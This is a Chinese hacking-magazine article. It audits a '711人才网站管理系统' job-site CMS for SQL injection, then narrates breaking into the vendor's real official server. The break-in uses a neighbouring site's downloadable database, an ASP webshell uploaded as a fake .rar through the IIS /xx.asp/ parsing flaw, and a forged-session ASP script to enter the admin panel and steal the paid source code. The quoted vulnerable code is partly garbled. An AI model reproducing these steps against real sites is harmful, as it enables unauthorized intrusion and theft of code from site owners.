文/图 cn_判官(Summer)
===================================
 
9月金秋,天气真是舒服,一边享受美好的时光,一边开着电脑在网上闲逛,无意间,发现一套“711人才网站管理系统V2.1”Web程序,看介绍上面说,有“人才求职”、“企业招聘”、“委托招聘”、“高级人才”、“兼职频道”、“人才资讯”等栏目,功能虽然算不上很强大,但是一些有用的功能都有了,刚好最近我正在寻找这样的程序帮朋友建站,顺便就检测一下它的安全性能吧。
在本地架设好IIS,把这套程序拖入虚拟目录,看上去外观还算大方,接下来当然就是读代码找漏洞了。

viewnews.asp注入漏洞
当我读到viewnews.asp,看到下面的代码时,发现程序只判断了request得到的变量是否为空,而没有进行其他的判断和过滤,很明显,一处注入漏洞产生了。

<%
if request("id")="" then
//取得变量id,并且判断是否为空
response.write"<SCRIPT language=JavaScript>alert(对不起,非法操作!);"
response.write"javascript:window.close();</SCRIPT>"
response.end
end if
set rs=server.createobject("adodb.recordset")
sql1="update companynews set click=click+1 whereid")            
rs.open sql1,conn,1,1
sql2="select * from companynews whereid")
//放入数据库里执行
rs.open sql2,conn,1,1
%>

company.asp注入漏洞
和viewnews.asp的代码大同小异,只不过多了个对单引号的过滤功能,但是这对我们来说是无关紧要的,同样,注入漏洞产生了(我就纳闷了,管理员既然知道过滤单引号,怎么不过滤其他的危险字符呢?)。

<%
uid=replace(trim(Request("uid")),"","")
//取得变量uid的值,并过滤掉了字符“’”
id=request("id")
if request("uid")="" then
//如果提交的变量为空,就执行下面的语句
response.write"<SCRIPT language=JavaScript>alert(对不起,非法操作!);"
response.write"javascript:window.close();</SCRIPT>"
response.end
end if
set rs=server.createobject("adodb.recordset")
sql="select * from company where"
rs.open sql,conn,1,1
//放入数据库中执行
%>


person.asp、job.asp注入漏洞
    person.asp、job.asp的代码我就不写出来了,和上面的漏洞文件是一个性质的,都是对提交的变量名未做严格的检查和过滤,导致产生注入漏洞。大家可以自己测试,原理可以参照以前的文章。

旁注入侵
下面要做的当然就是就是测试一下后台的功能。当我按照默认路径进入后台之后,发现后台的功能有很大一部分是不完全的,需要交费才可以拿到功能齐全的后台代码,如图1所示。
 
图1
真是郁闷死我了,我可是穷人啊!没有办法,去官方网站看看能不能有点希望,在官方站点测试了几处刚才发现的存在注入漏洞的文件,发现官方网站使用了通用防注入系统,并且数据库的默认地址也修改过了,毕竟是官方网站,又懒得去大规模扫描,那就是试试旁注喽。打开domain,检测了一下,发现这个虚拟主机上有27个站点,如图2所示。
 
                                    图2
这就有得玩了。当我一个一个看到第10个站时,发现一个网站使用的是动易2006,习惯性的在地址后面加上/database/PowerEasy2006.mdb,没想到突然弹出了可爱的下载提示框,在数据库中得到密码之后直冲后台,方法就简单地说一下,具体利用大家可以参照以前的杂志。在后台修改下载栏目的的上传地址为xx.asp,然后在前台发表一篇关于下载的文章,把ASP木马伪装成RAR进行上传,成功后查看自己发表的文章就可以得到完整的路径,比如/xx.asp/123456.rar,可能是我的人品比较高,服务器是Windows 2003的,所以123456.rar是按照.asp的格式来解析的,这样就拿到了服务器上的第一个Shell,本以为这样就可以旁注进目标网站的目录,下载完整的源代码了呢,没想到管理员设置的目录权限比较变态,不能进行目录跳转,WebShell也没有什么好利用提权的地方,就在我准备放弃的时候,想到了另一个方法Session欺骗。

Session欺骗进后台获得完整源代码
想要拿到目标网站的源代码,在目录权限设置比较严格的情况下,Shell就必须在目标网站的根目录下才有权限访问得到,又因为旁注的网站和目标网站肯定是在一个服务器上,所以我们可以利用前面旁注得到的Shell结合起来进行Session欺骗。前面在我测试的时候,我就发现这套程序后台有一个数据库备份的地方可以利用,现在的主要问题就是如何拿到目标网站的后台权限。打开admin/chkadmin.asp,其关键代码如下。
……
rs.Open "select * from admin where admin="&admin&" and password="&password&" " ,conn,1,1
//如果输入的账号和密码正确,就执行下面的语句
if not(rs.bof and rs.eof) then
if password=rs("password") then
session("82940admin23")=trim(rs("admin"))
//继续执行这里的Session的语句
session("flag")=int(rs("flag"))
rs.Close
……

知道了Session是什么就好办了,利用前面旁注得到的Shell,建立a.asp,写入如下内容。

<%
session("82940admin23")="admin"
response.Redirect "http://www.xxx.com/admin/index.asp"
%>

当我们访问这个a.asp的时候,就可以直接跳到目标网站的后台,很容易就实现了,简单吧?下面要做的当然就是在目标网站的目录下备份Shell了,发表一篇文章,上传伪装的图片,然后直接备份就可以了,和大家熟悉的动网备份都是大同小异的,我就不细说了,如图3所示。备份成功以后就顺利拿到了Shell,然后就是把完整的代码拿回来了,如图4所示。
 
                                   图3
 
                                   图4